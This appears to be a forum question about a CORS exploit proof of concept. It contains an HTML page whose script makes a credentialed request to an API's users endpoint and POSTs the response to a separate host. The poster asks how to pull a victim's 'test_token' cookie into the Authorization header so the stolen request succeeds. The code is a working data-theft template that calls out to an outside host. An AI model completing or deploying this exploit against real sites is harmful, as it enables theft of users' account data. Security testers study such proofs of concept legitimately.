Observed result image; for a clearer understanding, please refer to the following link:
https://i.sstatic.net/WouIU.png
Here is the code snippet: When a user clicks on the button, all HTTP headers are retrieved except for the Authorization Header. This header is crucial for obtaining the response, so it was hardcoded as
xhttp.setRequestHeader ('Authorization', 'Bearer')The Authorization header has been hardcoded in the code.
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText;
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://xyz . com", true);
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://api. xyz. com/v1/users/", true);
xhttp.withCredentials = true;
xhttp.setRequestHeader("Authorization", "Bearer ");
xhttp.send();
}
</script>
</body>
</html>
I aim to include only the cookie '[test_token]' value into the Authorization header. When the test_token is added, the header should read as 'Authorization: Bearer test_token'. The cookie must be appended to the authorization header before displaying the response.